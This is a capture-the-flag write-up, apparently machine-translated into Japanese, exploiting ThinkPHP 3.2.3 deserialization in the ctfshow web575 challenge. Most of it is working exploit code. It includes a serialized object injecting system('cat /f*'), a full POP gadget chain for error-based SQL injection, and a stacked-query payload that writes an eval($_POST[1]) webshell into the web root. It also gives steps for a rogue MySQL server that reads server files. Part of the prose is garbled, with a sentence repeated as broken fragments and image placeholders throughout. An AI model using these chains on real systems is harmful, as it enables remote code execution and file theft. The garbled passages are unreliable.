ctfshow ThinkPHP 575

web575

ソースコードを与えた

$user= unserialize(base64_decode(cookie('user')));
if(!$user || $user->id!==$id){
    
    
	$user = M('Users');
	$user->find(intval($id));
	cookie('user',base64_encode(serialize($user->data())));
}
$this->show($user->username);
}

最初に気付くのは、前に述べたshow()関数がphpコードを実行できることです。だから私たちはそれを制御することしかできませ$user->usernameん。
rceの目的のために、私たちが入らない方がはるかに便利です。
クラスを直接構築し、それにid変数とusername変数の
ペイロードを与えることができます。

<?php
namespace Home\Controller{
    
    
class IndexController {
    
    
    public $id='1';   //get传入的id也要相同
    public $username='<?php system("cat /f*");?>';
}
}
namespace{
    
    
    use Home\Controller\IndexController;
    echo base64_encode(serialize(new IndexController()));
}
?>

もちろん、この方法に加えて、 thinkphp3.2.3
ここに画像の説明を挿入
には逆シリアル化の脆弱性があることもわかっています。
このバグを再現するためだけに。
グローバル検索__destructでは、このような制御可能なパラメータ呼び出しメソッドの存在を探します。
/ThinkPHP/Library/Think/Image/Driver/Imagick.class.phpここに画像の説明を挿入
次に、グローバルに検索しますfunction destroy(

ThinkPHP/Library/Think/Session/Driver/Memcache.class.php
ここに画像の説明を挿入
グローバル検索前の手順で渡したパラメーターは制御可能ですが、後ろに空の文字がスプライスされているfunction delete(
/ThinkPHP/Library/Think/Model.class.php
ことを確認しましょう。配列を割り当ててから空の文字列をスプライスすると、問題が発生します。$this->sessionName$this->sessionName

<?php
$a=array('a'=>'123');
var_dump($a."456"); //string(8) "Array456"

幸い、後でdeleteが再度呼び出され、渡されたパラメーターは完全に制御可能です。
ここに画像の説明を挿入
次に下に移動すると、deleteメソッドが呼び出されていることがわかり、それ$this->dbを制御できます。
ここに画像の説明を挿入
次に、組み込みデータベースクラスのdelete()メソッドを呼び出すことができます。
ここに画像の説明を挿入
これらのクラスはすべて、Driver.class.phpの下のDriverクラスを継承します。
ここに画像の説明を挿入
内部にdeleteメソッドがあり、最後のsqlステートメントがdelete from$tableの後にスプライスされていることがわかりました。これ$tableは、parseTable関数によって処理され、$options['table']制御$options['table']可能です。
parseTable関数に焦点を当てる
ここに画像の説明を挿入

テーブルが文字列の場合、コンマで区切られてマージされますが、これは実際には問題ではありません。返されるのは、'テーブルは文字列であり、コンマで区切られてマージされます。実際、それほど重要ではありません。リターンはまだ`tab s文字列あり、コンマ区切られマージされます大きな違いありませ ' options['table']`の返しますここに画像の説明を挿入
最後に、sqlステートメントを実行するexecute関数を見てみましょう。
ここに画像の説明を挿入
彼が最初に初期化を実行していることがわかります。これは、実際に
ここに画像の説明を挿入
ここに画像の説明を挿入
はデータベースへの接続に使用できる最初のポイントです。エラーインジェクションです。

<?php

namespace Think\Image\Driver{
    
    
    use Think\Session\Driver\Memcache;
    class Imagick{
    
    
        private $img;
        public function __construct(){
    
    
            $this->img=new Memcache();
        }
    }
}
namespace Think\Session\Driver{
    
    
    use Think\Model;
    class Memcache {
    
    
        protected $handle;
        public function __construct(){
    
    
            $this->handle=new Model();
        }

}
}
namespace Think{
    
    
    use Think\Db\Driver\Mysql;
    class Model {
    
    
        protected $data = array();
        protected $db = null;
        protected $pk;
        public function __construct(){
    
    
            $this->db=new Mysql();
            $this->pk='id';
            $this->data[$this->pk] = array(
                "table" => "mysql.user where 1=updatexml(1,concat(0x3a,database(),0x3a),1)#",
                "where" => "1"
            );
        }
    }
}
namespace Think\Db\Driver{
    
    
    use PDO;
    class Mysql{
    
    
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
        );
        protected $config     = array(
        "debug"             =>   1,
        'hostname'          =>  '127.0.0.1', // 服务器地址
        'database'          =>  'ctfshow',          // 数据库名
        'username'          =>  'root',      // 用户名
        'password'          =>  'root',          // 密码
        'hostport'          =>  '3306'
        );              
    }
}
namespace{
    
    
    use Think\Image\Driver\Imagick;
    echo base64_encode(serialize(new Imagick()));
}

ただし、エラーインジェクションの許可は比較的低く、シェルを取得する場合は、トロイの木馬を作成する必要があります。したがって、スタックを開いた後、トロイの木馬という文を書くことができます。

<?php
namespace Think\Image\Driver{
    
    
    use Think\Session\Driver\Memcache;
    class Imagick{
    
    
        private $img;
        public function __construct(){
    
    
            $this->img=new Memcache();
        }
    }
}
namespace Think\Session\Driver{
    
    
    use Think\Model;
    class Memcache {
    
    
        protected $handle;
        public function __construct(){
    
    
            $this->handle=new Model();
        }

}
}

namespace Think{
    
    
    use Think\Db\Driver\Mysql;
    class Model {
    
    
        protected $data = array();
        protected $db = null;
        protected $pk;
        public function __construct(){
    
    
            $this->db=new Mysql();
            $this->pk='id';
            $this->data[$this->pk] = array(
                "table" => 'mysql.user;select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"# ',
                "where" => "1"
            );
        }
    }
}
namespace Think\Db\Driver{
    
    
    use PDO;
    class Mysql{
    
    
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true,    // 开启才能读取文件
            PDO::MYSQL_ATTR_MULTI_STATEMENTS => true //开启堆叠,发现不加这句话也可以
        );
        protected $config     = array(
        "debug"             =>   1,
        'hostname'          =>  '127.0.0.1', // 服务器地址
        'database'          =>  'ctfshow',          // 数据库名
        'username'          =>  'root',      // 用户名
        'password'          =>  'root',          // 密码
        'hostport'          =>  '3306'
        );              
    }
}
namespace{
    
    
    use Think\Image\Driver\Imagick;
    echo base64_encode(serialize(new Imagick()));
}

サーバーを制御して任意のデータベースに接続できるため、サーバーが接続するための悪意のあるmysqlデータベースを構築できることは前述しました。
スクリプトアドレスhttps://github.com/MorouU/rogue_mysql_server/blob/main/rogue_mysql_server.py
読み取るファイルとポートを変更します(3306は使用しないでください)
ここに画像の説明を挿入
phpスクリプトのIP、ポート、ライブラリ名、およびその他の構成を変更しますスクリプト
ここに画像の説明を挿入
の実行後、シリアル化された値を渡し、ファイルの内容を受け取るのを待ちます。
ここに画像の説明を挿入

おすすめ

転載: blog.csdn.net/miuzzx/article/details/119424101
おすすめ